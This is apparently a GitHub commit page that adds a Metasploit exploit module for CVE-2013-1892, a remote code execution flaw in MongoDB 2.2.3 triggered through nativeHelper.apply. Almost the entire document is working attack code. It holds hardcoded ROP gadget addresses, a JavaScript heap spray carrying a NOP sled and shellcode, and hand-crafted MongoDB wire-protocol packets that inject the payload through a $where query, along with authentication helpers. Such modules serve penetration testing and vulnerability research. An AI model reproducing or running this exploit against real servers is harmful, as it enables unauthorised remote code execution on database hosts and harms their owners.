Skip to content

Commit 81bca2c

Browse files
author
jvazquez-r7
committed
cleanup for mongod_native_helper
2 parents 3a030b2 + cc598bf commit 81bca2c

File tree

1 file changed

+312
-0
lines changed

1 file changed

+312
-0
lines changed
Lines changed: 312 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,312 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = NormalRanking
12+
13+
include Msf::Exploit::Remote::Tcp
14+
15+
def initialize(info={})
16+
super(update_info(info,
17+
'Name' => 'MongoDB nativeHelper.apply Instruction Pointer Control',
18+
'Description' => %q{
19+
This module exploit a feature in spiderMonkey to control Instruction Pointer.
20+
},
21+
'Author' =>
22+
[
23+
'agix' # @agixid # Vulnerability discovery and Metasploit module
24+
],
25+
'References' =>
26+
[
27+
[ 'CVE', '2013-1892' ],
28+
[ 'OSVDB', '91632' ],
29+
[ 'BID', '58695' ],
30+
[ 'URL', 'http://blog.scrt.ch/2013/03/24/mongodb-0-day-ssji-to-rce/' ]
31+
],
32+
'Platform' => 'linux',
33+
'Targets' =>
34+
[
35+
[ 'Linux - mongod 2.2.3 - 32bits',
36+
{
37+
'Arch' => ARCH_X86,
38+
'mmap' => [
39+
0x0816f768, # mmap64@plt # from mongod
40+
0x08666d07, # add esp, 0x14 / pop ebx / pop ebp / ret # from mongod
41+
0x31337000,
42+
0x00002000,
43+
0x00000007,
44+
0x00000031,
45+
0xffffffff,
46+
0x00000000,
47+
0x00000000,
48+
0x0816e4c8, # memcpy@plt # from mongod
49+
0x31337000,
50+
0x31337000,
51+
0x0c0b0000,
52+
0x00002000
53+
],
54+
'ret' => 0x08055a70, # ret # from mongod
55+
'gadget1' => 0x0836e204, # mov eax,DWORD PTR [eax] / call DWORD PTR [eax+0x1c]
56+
# These gadgets need to be composed with bytes < 0x80
57+
'gadget2' => 0x08457158, # xchg esp,eax / add esp,0x4 / pop ebx / pop ebp / ret <== this gadget must xchg esp,eax and then increment ESP
58+
'gadget3' => 0x08351826, # add esp,0x20 / pop esi / pop edi / pop ebp <== this gadget placed before gadget2 increment ESP to escape gadget2
59+
'gadget4' => 0x08055a6c, # pop eax / ret
60+
'gadget5' => 0x08457158 # xchg esp,eax
61+
}
62+
]
63+
],
64+
'DefaultTarget' => 0,
65+
'DisclosureDate' => 'Mar 24 2013',
66+
'License' => MSF_LICENSE
67+
))
68+
69+
register_options(
70+
[
71+
Opt::RPORT(27017),
72+
OptString.new('DB', [ true, "Database to use", "admin"]),
73+
OptString.new('COLLECTION', [ false, "Collection to use (it must to exist). Better to let empty", ""]),
74+
OptString.new('USERNAME', [ false, "Login to use", ""]),
75+
OptString.new('PASSWORD', [ false, "Password to use", ""])
76+
], self.class)
77+
end
78+
79+
def exploit
80+
begin
81+
connect
82+
if require_auth?
83+
print_status("Mongo server #{datastore['RHOST']} use authentication...")
84+
if !datastore['USERNAME'] || !datastore['PASSWORD']
85+
disconnect
86+
fail_with(Exploit::Failure::BadConfig, "USERNAME and PASSWORD must be provided")
87+
end
88+
if do_login==0
89+
disconnect
90+
fail_with(Exploit::Failure::NoAccess, "Authentication failed")
91+
end
92+
else
93+
print_good("Mongo server #{datastore['RHOST']} doesn't use authentication")
94+
end
95+
96+
if datastore['COLLECTION'] && datastore['COLLECTION'] != ""
97+
collection = datastore['COLLECTION']
98+
else
99+
collection = Rex::Text.rand_text(4, nil, 'abcdefghijklmnopqrstuvwxyz')
100+
if read_only?(collection)
101+
disconnect
102+
fail_with(Exploit::Failure::BadConfig, "#{datastore['USERNAME']} has read only access, please provide an existent collection")
103+
else
104+
print_good("New document created in collection #{collection}")
105+
end
106+
end
107+
108+
print_status("Let's exploit, heap spray could take some time...")
109+
my_target = target
110+
shellcode = Rex::Text.to_unescape(payload.encoded)
111+
mmap = my_target['mmap'].pack("V*")
112+
ret = [my_target['ret']].pack("V*")
113+
gadget1 = "0x#{my_target['gadget1'].to_s(16)}"
114+
gadget2 = Rex::Text.to_hex([my_target['gadget2']].pack("V"))
115+
gadget3 = Rex::Text.to_hex([my_target['gadget3']].pack("V"))
116+
gadget4 = Rex::Text.to_hex([my_target['gadget4']].pack("V"))
117+
gadget5 = Rex::Text.to_hex([my_target['gadget5']].pack("V"))
118+
119+
shellcode_var="a"+Rex::Text.rand_text_hex(4)
120+
sizechunk_var="b"+Rex::Text.rand_text_hex(4)
121+
chunk_var="c"+Rex::Text.rand_text_hex(4)
122+
i_var="d"+Rex::Text.rand_text_hex(4)
123+
array_var="e"+Rex::Text.rand_text_hex(4)
124+
125+
ropchain_var="f"+Rex::Text.rand_text_hex(4)
126+
chunk2_var="g"+Rex::Text.rand_text_hex(4)
127+
array2_var="h"+Rex::Text.rand_text_hex(4)
128+
129+
# nopsled + shellcode heapspray
130+
payload_js = shellcode_var+'=unescape("'+shellcode+'");'
131+
payload_js << sizechunk_var+'=0x1000;'
132+
payload_js << chunk_var+'="";'
133+
payload_js << 'for('+i_var+'=0;'+i_var+'<'+sizechunk_var+';'+i_var+'++){ '+chunk_var+'+=unescape("%u9090%u9090"); } '
134+
payload_js << chunk_var+'='+chunk_var+'.substring(0,('+sizechunk_var+'-'+shellcode_var+'.length));'
135+
payload_js << array_var+'=new Array();'
136+
payload_js << 'for('+i_var+'=0;'+i_var+'<25000;'+i_var+'++){ '+array_var+'['+i_var+']='+chunk_var+'+'+shellcode_var+'; } '
137+
138+
# retchain + ropchain heapspray
139+
payload_js << ropchain_var+'=unescape("'+Rex::Text.to_unescape(mmap)+'");'
140+
payload_js << chunk2_var+'="";'
141+
payload_js << 'for('+i_var+'=0;'+i_var+'<'+sizechunk_var+';'+i_var+'++){ '+chunk2_var+'+=unescape("'+Rex::Text.to_unescape(ret)+'"); } '
142+
payload_js << chunk2_var+'='+chunk2_var+'.substring(0,('+sizechunk_var+'-'+ropchain_var+'.length));'
143+
payload_js << array2_var+'=new Array();'
144+
payload_js << 'for('+i_var+'=0;'+i_var+'<25000;'+i_var+'++){ '+array2_var+'['+i_var+']='+chunk2_var+'+'+ropchain_var+'; } '
145+
146+
# Trigger and first ropchain
147+
payload_js << 'nativeHelper.apply({"x" : '+gadget1+'}, '
148+
payload_js << '["A"+"'+gadget3+'"+"'+Rex::Text.rand_text_hex(12)+'"+"'+gadget2+'"+"'+Rex::Text.rand_text_hex(28)+'"+"'+gadget4+'"+"\\x20\\x20\\x20\\x20"+"'+gadget5+'"]);'
149+
150+
request_id = Rex::Text.rand_text(4)
151+
152+
packet = request_id #requestID
153+
packet << "\xff\xff\xff\xff" #responseTo
154+
packet << "\xd4\x07\x00\x00" #opCode (2004 OP_QUERY)
155+
packet << "\x00\x00\x00\x00" #flags
156+
packet << datastore['DB']+"."+collection+"\x00" #fullCollectionName (db.collection)
157+
packet << "\x00\x00\x00\x00" #numberToSkip (0)
158+
packet << "\x01\x00\x00\x00" #numberToReturn (1)
159+
160+
where = "\x02\x24\x77\x68\x65\x72\x65\x00"
161+
where << [payload_js.length+4].pack("L")
162+
where << payload_js+"\x00"
163+
164+
where.insert(0, [where.length + 4].pack("L"))
165+
166+
packet += where
167+
packet.insert(0, [packet.length + 4].pack("L"))
168+
169+
sock.put(packet)
170+
171+
disconnect
172+
rescue ::Exception => e
173+
fail_with(Exploit::Failure::Unreachable, "Unable to connect")
174+
end
175+
end
176+
177+
def require_auth?
178+
request_id = Rex::Text.rand_text(4)
179+
packet = "\x3f\x00\x00\x00" #messageLength (63)
180+
packet << request_id #requestID
181+
packet << "\xff\xff\xff\xff" #responseTo
182+
packet << "\xd4\x07\x00\x00" #opCode (2004 OP_QUERY)
183+
packet << "\x00\x00\x00\x00" #flags
184+
packet << "\x61\x64\x6d\x69\x6e\x2e\x24\x63\x6d\x64\x00" #fullCollectionName (admin.$cmd)
185+
packet << "\x00\x00\x00\x00" #numberToSkip (0)
186+
packet << "\x01\x00\x00\x00" #numberToReturn (1)
187+
#query ({"listDatabases"=>1})
188+
packet << "\x18\x00\x00\x00\x10\x6c\x69\x73\x74\x44\x61\x74\x61\x62\x61\x73\x65\x73\x00\x01\x00\x00\x00\x00"
189+
190+
sock.put(packet)
191+
response = sock.get_once
192+
193+
have_auth_error?(response)
194+
end
195+
196+
def read_only?(collection)
197+
request_id = Rex::Text.rand_text(4)
198+
_id = "\x07_id\x00"+Rex::Text.rand_text(12)+"\x02"
199+
key = Rex::Text.rand_text(4, nil, 'abcdefghijklmnopqrstuvwxyz')+"\x00"
200+
value = Rex::Text.rand_text(4, nil, 'abcdefghijklmnopqrstuvwxyz')+"\x00"
201+
202+
insert = _id+key+[value.length].pack("L")+value+"\x00"
203+
204+
packet = [insert.length+24+datastore['DB'].length+6].pack("L") #messageLength
205+
packet << request_id #requestID
206+
packet << "\xff\xff\xff\xff" #responseTo
207+
packet << "\xd2\x07\x00\x00" #opCode (2002 Insert Document)
208+
packet << "\x00\x00\x00\x00" #flags
209+
packet << datastore['DB'] + "." + collection + "\x00" #fullCollectionName (DB.collection)
210+
packet << [insert.length+4].pack("L")
211+
packet << insert
212+
213+
sock.put(packet)
214+
215+
request_id = Rex::Text.rand_text(4)
216+
217+
packet = [datastore['DB'].length + 61].pack("L") #messageLength (66)
218+
packet << request_id #requestID
219+
packet << "\xff\xff\xff\xff" #responseTo
220+
packet << "\xd4\x07\x00\x00" #opCode (2004 Query)
221+
packet << "\x00\x00\x00\x00" #flags
222+
packet << datastore['DB'] + ".$cmd" + "\x00" #fullCollectionName (DB.$cmd)
223+
packet << "\x00\x00\x00\x00" #numberToSkip (0)
224+
packet << "\xff\xff\xff\xff" #numberToReturn (1)
225+
packet << "\x1b\x00\x00\x00"
226+
packet << "\x01\x67\x65\x74\x6c\x61\x73\x74\x65\x72\x72\x6f\x72\x00\x00\x00\x00\x00\x00\x00\xf0\x3f\x00"
227+
228+
sock.put(packet)
229+
230+
response = sock.get_once
231+
have_auth_error?(response)
232+
end
233+
234+
def do_login
235+
print_status("Trying #{datastore['USERNAME']}/#{datastore['PASSWORD']} on #{datastore['DB']} database")
236+
nonce = get_nonce
237+
status = auth(nonce)
238+
return status
239+
end
240+
241+
def auth(nonce)
242+
request_id = Rex::Text.rand_text(4)
243+
packet = request_id #requestID
244+
packet << "\xff\xff\xff\xff" #responseTo
245+
packet << "\xd4\x07\x00\x00" #opCode (2004 OP_QUERY)
246+
packet << "\x00\x00\x00\x00" #flags
247+
packet << datastore['DB'] + ".$cmd" + "\x00" #fullCollectionName (DB.$cmd)
248+
packet << "\x00\x00\x00\x00" #numberToSkip (0)
249+
packet << "\xff\xff\xff\xff" #numberToReturn (1)
250+
251+
#{"authenticate"=>1.0, "user"=>"root", "nonce"=>"94e963f5b7c35146", "key"=>"61829b88ee2f8b95ce789214d1d4f175"}
252+
document = "\x01\x61\x75\x74\x68\x65\x6e\x74\x69\x63\x61\x74\x65"
253+
document << "\x00\x00\x00\x00\x00\x00\x00\xf0\x3f\x02\x75\x73\x65\x72\x00"
254+
document << [datastore['USERNAME'].length + 1].pack("L") # +1 due null byte termination
255+
document << datastore['USERNAME'] + "\x00"
256+
document << "\x02\x6e\x6f\x6e\x63\x65\x00\x11\x00\x00\x00"
257+
document << nonce + "\x00"
258+
document << "\x02\x6b\x65\x79\x00\x21\x00\x00\x00"
259+
document << Rex::Text.md5(nonce + datastore['USERNAME'] + Rex::Text.md5(datastore['USERNAME'] + ":mongo:" + datastore['PASSWORD'])) + "\x00"
260+
document << "\x00"
261+
#Calculate document length
262+
document.insert(0, [document.length + 4].pack("L"))
263+
264+
packet += document
265+
266+
#Calculate messageLength
267+
packet.insert(0, [(packet.length + 4)].pack("L")) #messageLength
268+
sock.put(packet)
269+
response = sock.get_once
270+
if have_auth_error?(response)
271+
print_error("Bad login or DB")
272+
return 0
273+
else
274+
print_good("Successful login on DB #{datastore['db']}")
275+
return 1
276+
end
277+
278+
279+
end
280+
281+
def get_nonce
282+
request_id = Rex::Text.rand_text(4)
283+
packet = [datastore['DB'].length + 57].pack("L") #messageLength (57+DB.length)
284+
packet << request_id #requestID
285+
packet << "\xff\xff\xff\xff" #responseTo
286+
packet << "\xd4\x07\x00\x00" #opCode (2004 OP_QUERY)
287+
packet << "\x00\x00\x00\x00" #flags
288+
packet << datastore['DB'] + ".$cmd" + "\x00" #fullCollectionName (DB.$cmd)
289+
packet << "\x00\x00\x00\x00" #numberToSkip (0)
290+
packet << "\x01\x00\x00\x00" #numberToReturn (1)
291+
#query {"getnonce"=>1.0}
292+
packet << "\x17\x00\x00\x00\x01\x67\x65\x74\x6e\x6f\x6e\x63\x65\x00\x00\x00\x00\x00\x00\x00\xf0\x3f\x00"
293+
294+
sock.put(packet)
295+
response = sock.get_once
296+
documents = response[36..1024]
297+
#{"nonce"=>"f785bb0ea5edb3ff", "ok"=>1.0}
298+
nonce = documents[15..30]
299+
end
300+
301+
def have_auth_error?(response)
302+
#Response header 36 bytes long
303+
documents = response[36..1024]
304+
#{"errmsg"=>"auth fails", "ok"=>0.0}
305+
#{"errmsg"=>"need to login", "ok"=>0.0}
306+
if documents.include?('errmsg') || documents.include?('unauthorized')
307+
return true
308+
else
309+
return false
310+
end
311+
end
312+
end

0 commit comments

Comments
 (0)